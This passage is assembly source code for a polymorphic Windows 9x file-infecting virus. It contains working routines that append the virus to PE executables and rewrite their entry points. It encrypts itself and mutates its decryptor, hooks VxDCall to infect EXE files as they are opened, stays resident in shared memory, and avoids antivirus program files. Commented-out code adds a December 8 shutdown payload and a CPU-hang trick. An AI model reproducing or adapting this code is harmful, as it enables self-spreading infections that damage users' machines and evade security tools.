; -> All
;__________________________________
InfectFile PROC if_szFileName:DWORD
LOCAL lpdwLastSection:DWORD, \
dwVirusBegin:DWORD, \
dwNewEntryRVA:DWORD, \
dwJumpBytes:DWORD, \
dwIOH:DWORD, \
dwIncFileSize:DWORD, \
dwIncSecSize:DWORD, \
dwDeltaOffset:DWORD
@DELTA esi
mov [dwDeltaOffset], esi ;Save Delta Offset
;Check if the file can be infected, or not
call CanFileBeInfected, if_szFileName
test eax, eax ;Can it be infected
jz End_InfectFile ;No
mov [dwIncFileSize], ebx ;Save Increase in File Size
mov [dwIncSecSize], ecx ;Save Increase in Section Size
;Map Host File into Memory
call OpenAndMapFile, if_szFileName, dwIncFileSize
test eax, eax ;File Opened and Mapped Successfully
jz End_InfectFile ;No, Return Code = 0
mov esi, [dwDeltaOffset]
mov [esi + lpHostFile], eax ;Save staring address of file
;Get File Headers
call GetFileHeaders, eax ;This should not fail, since its already...
mov [dwIOH], ebx ;...called once in CanFileBeInfected
mov [lpdwLastSection], ecx
;Calculate the Starting of Virus Code in File
mov eax, (IMAGE_SECTION_HEADER [ecx]).ISH_PointerToRawData
add eax, (IMAGE_SECTION_HEADER [ecx]).ISH_SizeOfRawData
mov [dwVirusBegin], eax ;RVA of New Entry Point in File
;Calculate RVA of New Entry Point
mov ebx, [lpdwLastSection]
sub eax, (IMAGE_SECTION_HEADER [ebx]).ISH_PointerToRawData
add eax, (IMAGE_SECTION_HEADER [ebx]).ISH_VirtualAddress
mov [dwNewEntryRVA], eax
;Calculate Bytes of JMP Instruction
add eax, offset ReturnToHost - offset StartOfVirusCode
mov ebx, [dwIOH]
sub eax, (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint
add eax, 4
not eax
mov [dwJumpBytes], eax ;Save Bytes
;Append the Virus to the host
mov esi, offset StartOfVirusCode ;Copy Virus from Here...
add esi, [dwDeltaOffset] ;since StartOfVirusCode will vary after infection
mov edi, [dwVirusBegin] ;...to here
mov ebx, [dwDeltaOffset]
add edi, [ebx + lpHostFile] ;true location to copy to
mov ecx, VIRUS_SIZE
rep movsb
;Write New Jump Instruction in File
;Offset in File where operand to JMP instruction is to be put
mov ebx, offset ReturnToHost + 1 - offset StartOfVirusCode
add ebx, [dwVirusBegin] ;True offset in file
mov esi, [dwDeltaOffset]
add ebx, [esi + lpHostFile] ;Correct offset in Memory Mapped File
mov ecx, [dwJumpBytes] ;Get operand for jmp instruction
mov [ebx], ecx ;Put it in the file
;Update the Last Section Header
mov eax, [lpdwLastSection]
mov ebx, [dwIncSecSize]
mov ecx, [dwIncFileSize]
add (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData, ecx
add (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx
or (IMAGE_SECTION_HEADER [eax]).ISH_Characteristics, IMAGE_READ_WRITE_EXECUTE
;Fix VirtualSize (if Required) for files like TRACERT.EXE)
mov ebx, (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData
cmp (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx ;Virtual Size Wrong
jge VirtualSizeFine ;No, Fix Not Required
mov (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx ;Yes, Fix it
VirtualSizeFine:
;Update the PE Header (Image Size)
mov ebx, [dwIOH] ;Address of Image Optional Header
add (IMAGE_OPTIONAL_HEADER [ebx]).IOH_SizeOfImage, ecx
;Update the PE Header (Entry RVA)
mov ecx, [dwNewEntryRVA] ;Get New Entry RVA
mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint, ecx
;Update the Win32VersionValue field. This is used as a Virus Signature
mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
;Encrypt the file, and Close it
mov ebx, [dwDeltaOffset]
mov edi, [ebx + lpHostFile] ;Staring address of Host File
add edi, [dwVirusBegin] ;Address of virus in file
call EncryptVirus
call UnmapAndCloseFile, if_szFileName
xor eax, eax
inc eax ;All OK, Return Code 1
End_InfectFile:
ret
InfectFile ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | EncryptVirus | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Encrypts the Virus Code with a random byte, and mutates the decryptor,
; making the virus Encrypted & Polymorphic
;
; Arguments
; -> EDI: Starting address of Virus in Memory Mapped File
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> All except EDI
;________________
EncryptVirus PROC
push edi ;Save starting address of virus code
;Get Encryption Key, to be used for encrypting/decrypting
;@DELTA esi
;call esi + GetTickCount ;Get random number in EAX (AL)
in al, 40h ;Get random encryption key
IF DEBUG
xor al, al ;Don't encrypt in Debug Mode
ENDIF
mov ecx, ENCRYPTED_SIZE
add edi, LOADER_SIZE ;Don't enrypt the loader !!
EncryptByte:
xor byte ptr [edi], al ;al = Encryption Key
inc edi
loop EncryptByte
pop edi ;restore starting address of virus code
;Update the Encryption Key in the decryptor
mov byte ptr [edi + EncryptionKey - StartOfVirusCode], al
;Mutate the Decryptor
call MutateDecryptor
ret
EncryptVirus ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | StringLength | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Returns the length of the string
;
; Arguments
; -> DWORD sl_lpszString: Address of the string
;
; Return Value:
; -> EAX: Length of the string
;
; Registers Destroyed
; -> EAX, ECX, EDI
;____________________________________
StringLength PROC sl_lpszString:DWORD
mov edi, sl_lpszString ;string whose length is required
xor ecx, ecx
dec ecx ;ecx = -1, search till infinity
xor eax, eax ;search for NULL character
repne scasb ;Find the terminating NULL
not ecx
dec ecx ;length of string
mov eax, ecx ;return length of string
ret
StringLength ENDP
;****************************************************************************
; TimerProc
;****************************************************************************
; Description
; -> This function is called when the Time-out value for the Timer Expires.
;
; Arguments
; -> tp_hwnd: Handle of the window
; tp_uMsg: WM_TIMER
; tp_idEvent: ID of the timer
; tp_dwTimer: Value of GetTickCount()
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> All
;_____________________________________________________________________________
;TimerProc PROC tp_hwnd:DWORD, tp_uMsg:DWORD, tp_idEvent:DWORD, tp_dwTime:DWORD
; LOCAL dwDeltaOffset:DWORD, \
; dwFileNumber:DWORD, \
; stTime:SYSTEMTIME
; pushad ;must save, since this is a CALLBACK fn
; @DELTA esi
; mov [dwDeltaOffset], esi
;
;Check if Date is 8th December
; lea eax, stTime
; call esi + GetLocalTime, eax
; cmp stTime.ST_wMonth, 12 ;is Month = December
; jne Not_8_December ;No
; cmp stTime.ST_wDay, 8 ;Yes. Is Day = 8th
; jne Not_8_December ;No
;
;Deliever Payload since date is 8th December
; call PayLoad
;
;Not_8_December:
;
;Lock System if Windows has been running for a long time
; ;cmp tp_dwTime, MAX_RUN_TIME ;Is Windows Up-time > 2 hours
; ;jle NoLockWindows ;No
; ;DB 0F0h ;Yes, use F00F Bug to hang / lock System
; ;DB 0Fh
; ;DB 0C7h
; ;DB 0C8h
;
;NoLockWindows:
;
;
;End_TimerElapsed:
; popad ;restore state
; ret
;TimerProc ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | CanFileBeInfected | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This function checks if a file can be infected or not. It checks the
; following:
; 1. File must be an EXE
; 2. File must be a PE
; 3. It must not be a DLL
; 4. File must not be infected by our virus
; 5. It must not be a Winzip Self-Extractor File
;
; If all the above conditions are met, this function returns the size, in
; bytes, by which the file and section must be increased when the file is
; infected.
;
; Arguments
; -> DWORD cfbe_szFileName: ASCIIZ Name of the file to check
;
; Return Value:
; -> EAX: 1 if the file can be infected, 0 Otherwise
; -> EBX: Bytes by which the file size must be increased if it is infected
; -> ECX: Bytes by which the last section size must be increased if it is infected
;
; Registers Destroyed
; -> All
;___________________________________________
CanFileBeInfected PROC cfbe_szFileName:DWORD
;Map File, without increasing the File Size
call OpenAndMapFile, cfbe_szFileName, 0
test eax, eax ;File Opened & Mapped Successfully
jz End_CanFileBeInfected ;No, Return with Error Code = 0
;Get File Headers
call GetFileHeaders, eax
test eax, eax ;Successfully retreived file headers
je End_CanFileBeInfected ;No, probably not a PE file
;Check if file is infected. We use the Win32VersionValue for storing our signature
cmp (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
jz Error_CanFileBeInfected ;File is already infected
;Check if file is a DLL
test (IMAGE_FILE_HEADER [eax]).IFH_Characteristics, IMAGE_FILE_DLL
jnz Error_CanFileBeInfected ;Yes
;Check if last section is sharable
;mov edx, (IMAGE_SECTION_HEADER [ecx]).ISH_Characteristics
;and edx, IMAGE_SCN_MEM_SHARED ;Is Section Sharable
;jnz Error_CanFileBeInfected ;Yes, don't infect
;Don't infect Winzip Self-Extractor Files.
;The last section of this file has the name _winzip_. Note that Winzip
;Self-Extrator Personal Edition Files will still be infected, since they
;don't have this section
cmp dword ptr (IMAGE_SECTION_HEADER [ecx]).ISH_Name, "niw_" ;"_win" ?
je Error_CanFileBeInfected ;Yes, dont infect
;OK, File can be infected, Great !!, ;-)
mov eax, ebx ;Image Optional Header
mov ebx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_FileAlignment
mov ecx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_SectionAlignment
;Calculate Increase in Section size
;INC_SEC_SIZE = [(VIRUS_SIZE - 1 + SECTION_ALIGN) / SECTION_ALIGN] * SECTION_ALIGN
mov eax, VIRUS_SIZE - 1
add eax, ecx ;Add Section Alignment
xor edx, edx ;We need to divide only EAX
div ecx ;Divide by SECTION_ALIGN
mul ecx ;Multiply by SECTION_ALIGN
push eax ;Save Increase in Section Size
;Calculate Increase in File Size
;INC_FILE_SIZE = (INC_SEC_SIZE - 1 + FILE_ALIGN) / FILE_ALIGN] * FILE_ALIGN
;mov eax, VIRUS_SIZE;**NEW LINE
;dec eax ;INC_SEC_SIZE - 1
mov eax, VIRUS_SIZE - 1
add eax, ebx ;Add File Alignment, FILE_ALIGN
div ebx ;Divide by FILE_ALIGN
mul ebx ;Multiply by FILE_ALIGN
push eax ;Save Increase in File Size
;Close the file, and return relevant values
call UnmapAndCloseFile, cfbe_szFileName
pop ebx ;Get Increase in File Size
pop ecx ;Get Increase in Section Size
xor eax, eax
inc eax ;Return Code 1
jmp End_CanFileBeInfected
Error_CanFileBeInfected:
call UnmapAndCloseFile, cfbe_szFileName
xor eax, eax ;Return Code 0
End_CanFileBeInfected:
ret
CanFileBeInfected ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | PayLoad | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This function is called on the 8th of December. It delievers the Payload
; of the virus.
;
; Arguments
; -> None.
;
; Return Value:
; -> None.
;
; Registers Destroyed
; -> All
;___________
;PayLoad PROC
; @DELTA esi
; ;call ExitWindowsEx, EWX_FORCE OR EWX_SHUTDOWN, NULL
; call esi + ExitWindowsEx, EWX_SHUTDOWN, NULL
; ret
;PayLoad ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | CanMachineBeInfected | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This function is called to check if the virus should infect this machine
; or not. This is used, so that the virus doesn't infect My Machine !!
;
; Arguments
; -> None.
;
; Return Value:
; -> EAX: 0 -> machine should not be infected, else it can be infected
;
; Registers Destroyed
; -> All
;________________________
CanMachineBeInfected PROC
@DELTA esi
;Check if the "No Infect" file exists on the current machine
mov eax, esi
add eax, offset szNoInfectFileName
call esi + CreateFileA, eax, GENERIC_READ, FILE_SHARE_READ, NULL, \
OPEN_EXISTING, NULL, NULL
cmp eax, INVALID_HANDLE_VALUE ;File Opened ?
je End_CanMachineBeInfected ;No, so machine can be infected
;Close the file, and return 0, since its probably my machine
call esi + CloseHandle, eax
xor eax, eax ;return 0, so that machine is not infected
End_CanMachineBeInfected:
ret
CanMachineBeInfected ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | RelocateVirus | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This function allocates memory in the Shared area and copies the Virus
; to that area.
;
; Arguments
; -> None.
;
; Return Value:
; -> EAX: Base address of Memory where the Virus was copied, or NULL if an
; error occured.
;
; Registers Destroyed
; -> All
;_________________
RelocateVirus PROC
LOCAL dwDeltaOffset:DWORD, \
dwMemoryRegion:DWORD
@DELTA esi
mov [dwDeltaOffset], esi
;Reserve Shared Memory
@DELTA esi
call esi + VxDCall, PageReserve, PR_SHARED, VIRUS_SIZE_PAGES, \
PC_WRITEABLE OR PC_USER
cmp eax, INVALID_HANDLE_VALUE ;Memory Allocate Successfully?
je Error_RelocateVirus ;No
cmp eax, SHARED_MEMORY ;Shared memory Allocated?
jb Error_RelocateVirus ;No
;Save Address of Region
mov [dwMemoryRegion], eax
;Commit Shared Memory
shr eax, 0Ch ;Page Number
mov esi, [dwDeltaOffset]
call esi + VxDCall, PageCommit, eax, VIRUS_SIZE_PAGES, PD_ZEROINIT, 0, \
PC_WRITEABLE OR PC_USER OR PC_PRESENT OR PC_FIXED
or eax,eax
je Error_RelocateVirus
;Copy Virus to Newly Allocate Memory
mov esi, dwDeltaOffset
add esi, offset StartOfVirusCode ;Start Copying From Here
mov edi, [dwMemoryRegion] ;Copy Here
mov ecx, VIRUS_SIZE ;Size to Copy
rep movsb
mov eax, [dwMemoryRegion] ;Return Region of Shared Memory Allocated
jmp End_RelocateVirus
Error_RelocateVirus:
xor eax, eax ;Return 0, since an error occured
End_RelocateVirus:
ret
RelocateVirus ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | InstallHookProcedure | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This function installs a hook procedure to monitor VxDCalls
;
; Arguments
; -> None.
;
; Return Value:
; -> None.
;
; Registers Destroyed
; -> All
;________________________
InstallHookProcedure PROC
LOCAL dwDeltaOffset:DWORD
@DELTA esi
mov [dwDeltaOffset], esi
;Modify the JMP instruction, so that it points to the address of OldInt30
mov eax, esi
add eax, offset OldInt30Address ;Bytes to modify
mov ebx, esi
add ebx, offset OldInt30 ;Address of OldInt30
mov [eax], ebx ;Modify JMP instruction
;The disassembly of the VxDCall function looks like this:
;
;8B 44 24 04 MOV EAX, DWORD PTR [ESP+04h]
;8F 04 24 POP DWORD PTR [ESP]
;2E FF 1D XX XX XX XX CALL FWORD PTR CS:[XXXXXXXX]
;
;The last instuction points to an INT 30h instruction that is used by
;VxDCall to jump to Ring 0. So, to hook VxDCall's, we must modify the
;address pointed to by the CALL, i.e. XXXXXX, so that it points to our
;code. Before that, we should save the current address, so that we can
;call the old INT 30h
;Trace through VxDCall, until we come to the XXXXXXXX bytes
add esi, offset VxDCall
mov esi, [esi] ;First byte of VxDCall function
mov ecx, 50 ;Scan upto 50 bytes
TraceVxDCall:
lodsb ;Get current byte
cmp al, 2Eh ;First byte of CALL instruction?
jne TraceVxDCall_NextByte ;No, check next byte
cmp word ptr [esi], 1DFFh ;Next two bytes of instruction?
je TraceVxDCall_AddressFound ;Yes
TraceVxDCall_NextByte:
loop TraceVxDCall ;Continue Checking...
TraceVxDCall_AddressFound:
;Save Current INT 30h Address
cli ;Cannot afford to be interrupted
lodsw ;Skip over FF and 1D opcodes of CALL
lodsd ;Pointer to INT 30h instruction, XXXXXXXX
mov esi, eax ;Copy Bytes From Here
mov edi, [dwDeltaOffset]
add edi, offset OldInt30 ;To Here
mov ecx, 6 ;Save 6 bytes, FWORD
rep movsb
;Install New INT 30h Handler
mov edi, eax ;Pointer to INT 30h instruction
mov eax, [dwDeltaOffset]
add eax, offset VxDInt30Handler ;Copy This Address
stosd ;Save 4 bytes ...
mov ax, cs
stosw ;and 2 bytes (since FWORD instruction)
sti ;Handler installed, enable interrupts
ret
InstallHookProcedure ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | VxDInt30Handler | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This is the hook procedure that monitors VxDCalls (INT 30h)
;
; Arguments
; -> None.
;
; Return Value:
; -> None.
;
; Registers Destroyed
; -> All
;___________________
VxDInt30Handler PROC
pushad ;Save all, since this is an interrupt handler
;Make sure that we don't process our own calls
@OFFSET ebp, VxDCall_Busy
cmp byte ptr [ebp], TRUE ;Is Virus busy
je Exit_VxDInt30Handler ;Yes, prevent re-entrancy
;Process only INT 21h Services
cmp eax, VWIN32_Int21Dispatch ;VWIN32 VxD int 21h?
jne Exit_VxDInt30Handler
mov eax,dword ptr [esp+0000002Ch] ;Get 21h Service
cmp ax, RESIDENCY_CHECK_SERVICE ;Check for Residency?
je Residency_Check ;Yes
cmp ax, LFN_OPEN_FILE_EXTENDED ;LFN Open Extended
je Extended_File_Open
jmp Exit_VxDInt30Handler ;None, go to default handler
Residency_Check:
;Virus Residency Check
popad ;Restore stack and other regs
mov esi, RESIDENCY_SUCCESS ;Tell caller that we're resident
jmp Original_VxDInt30Handler ;Go to original handler
Extended_File_Open:
;Prevent Re-entrancy
@OFFSET eax, VxDCall_Busy
mov byte ptr [eax], TRUE
push esi
call IsFilenameOK, esi
pop esi
or eax, eax
jz File_Not_Executable
;Do Stuff
;call OutputFileName
call InfectFile, esi
File_Not_Executable:
;Finished Processing
@OFFSET eax, VxDCall_Busy
mov byte ptr [eax], FALSE
Exit_VxDInt30Handler:
popad ;Restore, before transfering control
Original_VxDInt30Handler:
;The following bytes will be translated to JMP FWORD PTR CS:[00000000]
DB 2Eh, 0FFh, 2Dh ;JMP FWORD PTR CS:[XXXXXXXX]
OldInt30Address: ;The following 4 bytes will be replaced by the
DB 4 DUP (0) ;address of OldInt30 in memory.
;ret ;Not required, since we're jumping out
VxDInt30Handler ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | IsFilenameOK | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This function checks if the filename is OK for infection or not. If the
; filename meets any of the folling criteria, this function returns a
; failure.
; * Filename is less than 5 characters. This is checked, because
; we are infecting only .EXE files, so the minimum length of such
; a file is 5 characters
; * The filename must end in ".EXE" (or ".XYZ" for DEBUG mode). The
; comparison is case insensitive
; * The filename must NOT consist of any of the following pairs of
; characters, viz., "AV", "AN", "F-". This is done to prevent
; infection of Anti-Virus program files.
;
; Arguments
; -> ife_szFilename: Address of the buffer where the filename is stored
;
; Return Value:
; -> EAX: 1 if the filename is OK, 0 otherwise
;
; Registers Destroyed
; -> All
;___________________________________
IsFilenameOK PROC ife_szFilename
LOCAL szExtention[4]:BYTE
;Check Filename Length
mov esi, ife_szFilename
call StringLength, esi ;Get length of filename
cmp eax, 4 ;Is File name less than 5 characters (.EXE)
jl Error_IsFilenameOk ;Yes, Don't infect
push eax ;Save Length of Filename
;Get File Extention
mov eax, [esi + eax - 4] ;File Extention (including ".")
lea edx, szExtention ;Get Address of Extention Buffer
mov [edx], eax ;Store extention in buffer
;Convert to upper case
mov ecx, 3 ;3 characters to be converted
ToUpperCase:
inc edx ;Don't have to check "." for upper case
cmp byte ptr [edx], "a"
jl NextCharacter
cmp byte ptr [edx], "z"
jg NextCharacter
sub byte ptr [edx], "a" - "A" ;Convert to upper case
NextCharacter:
loop ToUpperCase
pop ecx ;Get Length of Filename
;Check the Extention
IF DEBUG
cmp dword ptr [edx - 3], "ZYX." ;Is Extention ".XYZ" (Debug Only)
ELSE
ERR "Release Mode, Executables will be Infected !!!" ;Comment to assemble
cmp dword ptr [edx - 3], "EXE." ;Is Extention ".XYZ" (Release Only)
ENDIF
jne Error_IsFilenameOk ;No, Extention doesn't match
;Check Anti-Virus Program Files
dec ecx ;Since we're checking 2 char, last char not reqd
CheckAntiVirusFiles:
cmp word ptr [esi], "VA" ;"AV"; for NAV (Norton), TBAV (ThunderByte)
je Error_IsFilenameOk
cmp word ptr [esi], "va"
je Error_IsFilenameOk
cmp word ptr [esi], "-F" ;"F-"; for F-PROT
je Error_IsFilenameOk
cmp word ptr [esi], "NA" ;"AN", for SCAN (McAfee), CLEAN
je Error_IsFilenameOk
cmp word ptr [esi], "na"
je Error_IsFilenameOk
inc esi ;Next Character
loop CheckAntiVirusFiles ;Check All
xor eax, eax
inc eax
jmp End_IsFilenameOk
Error_IsFilenameOk:
xor eax, eax
End_IsFilenameOk:
ret
IsFilenameOK ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
OutputFileName PROC
LOCAL dwFilename:DWORD, \
dwDeltaOffset:DWORD
mov [dwFilename], esi
@DELTA esi
mov [dwDeltaOffset], esi
;Create File to write into
mov edx, [dwDeltaOffset]
add edx, offset szOutputFile
mov esi, 0BFF77ADFh
call esi, edx, GENERIC_READ OR GENERIC_WRITE, FILE_SHARE_READ, \
0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
cmp eax, INVALID_HANDLE_VALUE
je End_OutputFileName
;Go to end of file
push eax ;Save Handle
mov esi, 0BFF7713Fh ;SetFilePointer
call esi, eax, 0, 0, 2
pop eax ;Restore Handle
;Get Length of FileName
push eax ;Save Handle
mov edx, [dwFilename]
mov esi, 0BFF773ADh ;lstrlen
call esi, edx
mov ebx, eax ;length of filename
pop eax ;Restore Handle
;Write Into File
push eax ;save handle
push eax ;Create Buffer, used for number of bytes written
lea ecx, [esp - 4]
mov edx, [dwFilename]
mov esi,0BFF76FD5h ;WriteFile
call esi, eax, edx, ebx, ecx, 0
pop eax ;Remove Buffer
pop eax ;restore handle
;Close File
mov esi, 0BFF7E064h
call esi, eax
End_OutputFileName:
ret
OutputFileName ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | IsVirusActive | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This function returns 1 if the virus is active in memory, else returns
; 0. This function also saves the address of the VxDCall API.
;
; Arguments
; -> None.
;
; Return Value:
; -> EAX: 1 if the Virus is Resident. 0 otherwise
;
; Registers Destroyed
; -> All
;_________________
IsVirusActive PROC
call GetAddressOfKernelAPI, 0 ;Get Address Of VxDCall API
test eax, eax ;Found Address ?
jz End_IsVirusActive ;No, Return 0
;Save address of VxDCall API
@OFFSET ebx, VxDCall
mov [ebx], eax ;Save Address
;Check if Virus is Already Resident
@CALL_INT21h RESIDENCY_CHECK_SERVICE
xor eax, eax ;Assume not resident
cmp esi, RESIDENCY_SUCCESS ;Is Virus Resident
jne End_IsVirusActive ;No, return 0
inc eax ;Yes, return 1
End_IsVirusActive:
ret
IsVirusActive ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | GetFileHeaders | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This function retreives the address of various file headers, viz.,
; Image File Header, Image Optional Header, Last Section Header,
; Image Export Directory. The function fails if the specified file is
; not a Portable Executable (PE) file
;
; Arguments
; -> gfh_dwFileBase: Base Address of File (in Memory) whose headers are
; required.
;
; Return Value:
; -> EAX: Address of the Image File Header, or 0 if the function failed
; -> EBX: Address of the Image Optional Header
; -> ECX: Address of the Last Sections Header
; -> EDX: Address of the Image Export Directory
;
; Registers Destroyed
; -> All
;_______________________________________
GetFileHeaders PROC gfh_dwFileBase:DWORD
LOCAL dwIOH:DWORD, \
dwIED:DWORD, \
mov esi, [gfh_dwFileBase]
cmp word ptr [esi], "ZM" ;Is EXE/DLL Present ?
jne Error_GetFileHeaders ;No
;Check for PE Signature
add esi, (IMAGE_DOS_HEADER [esi]).IDH_e_lfanew
cmp dword ptr [esi], "EP" ;PE File ?
jne Error_GetFileHeaders ;No
;Get Image Optional Header
add esi, IMAGE_SIZEOF_NT_SIGNATURE ;Image File Header
push esi ;Save Image File Header
add esi, SIZE IMAGE_FILE_HEADER ;Image Optional Header
mov [dwIOH], esi ;Save
;Get the Address of the Image Export Directory
mov esi, (IMAGE_OPTIONAL_HEADER [esi]).IOH_DataDirectory(0).IDD_VirtualAddress ;RVA Image Export Directory
add esi, [gfh_dwFileBase]
mov dword ptr [dwIED], esi
;Get Address of Last Section Header
pop esi ;Get Image File header
movzx ecx, (IMAGE_FILE_HEADER [esi]).IFH_SizeOfOptionalHeader
add ecx, [dwIOH] ;Address of First Section Header
movzx eax, (IMAGE_FILE_HEADER [esi]).IFH_NumberOfSections
dec eax ;Number of Sections - 1
imul eax, eax, SIZE IMAGE_SECTION_HEADER ;Size of All Section Headers
;mov ebx, SIZE IMAGE_SECTION_HEADER
;mul ebx ;Size of All Section Headers
add ecx, eax ;Address of Last Section Header
;Return Header Values
mov eax, esi ;Image File Header
mov ebx, [dwIOH]
mov edx, [dwIED]
jmp End_GetFileHeaders
Error_GetFileHeaders:
xor eax, eax ;Error, Return 0
End_GetFileHeaders:
ret
GetFileHeaders ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | MutateDecryptor | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This function modifies the registers used in the decryptor, to make it
; polymorphic. The decrypor uses two registers; one as an index, and the
; other as a counter. The registers EAX, EBX, ECX, EDX, ESI and EDI are
; used as random registers. The opcodes are generated in the following way.
; First the opcode is calculated using register EAX; e.g. the opcode for
; POP EAX is 58h. To generate the opcodes for the other registers, we add
; the number of the register. The number for EDX is 2. Adding this to 58h,
; we get 5Ah, which is the opcode for POP EDX
;
; Arguments
; -> EDI: Start of decrypor that need to be mutated
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> AX, BL
;___________________
MutateDecryptor PROC
;Get Two Random Registers
call RandomRegister ;Get First Register Number
mov ah, al ;Save It
GetAnotherRegister:
call RandomRegister ;Get Second Register Number
cmp ah, al ;Is it the same as First
je GetAnotherRegister ;Yes, get another one
;Modify Decryptor, so that it uses the new registers
mov bl, 58h ;Change "pop <register1>"
add bl, al ;Register 1
mov byte ptr [edi + 5], bl
mov bl, 0C0h ;Change "add <register1>, ..."
add bl, al ;Register 1
mov byte ptr [edi + 7], bl
mov bl, 0B8h ;Change "mov <register2>, ..."
add bl, ah ;Register 2
mov byte ptr [edi + 9], bl
mov bl, 30h ;Change "xor byte ptr [<register1>], ..."
add bl, al ;Register 1
mov byte ptr [edi + 15], bl
mov bl, 40h ;Change "inc <register1>"
add bl, al ;Register 1
mov byte ptr [edi + 17], bl
mov bl, 48h ;Change "dec <register2>"
add bl, ah ;Register 2
mov byte ptr [edi + 18], bl
ret
MutateDecryptor ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | RandomRegister | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This function returns a random number from 0, 1, 2, 3, 6, and 7. Each of
; these values is used to identify a register.
; EAX=0, ECX=1, EDX=2, EBX=3, ESI=6, EDI=7
;
; Arguments
; -> None.
;
; Return Value:
; -> AL: Random number (0, 1, 2, 3, 6 or 7)
;
; Registers Destroyed
; -> AL
;__________________
RandomRegister PROC
NewRandom:
in al, 40h ;Get Random Number
and al,00000111b ;Maximum value 7
cmp al, 4 ;Should not be 4...
je NewRandom
cmp al, 5 ;...or 5
je NewRandom
ret
RandomRegister ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | End Of Virus Code | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
VIRUS_SIZE EQU $ - offset StartOfVirusCode
ENCRYPTED_SIZE EQU $ - offset EncryptedVirusCode
LOADER_SIZE EQU VIRUS_SIZE - ENCRYPTED_SIZE
VIRUS_SIZE_PAGES EQU (VIRUS_SIZE / PAGE_SIZE) + 1
END StartOfVirusCode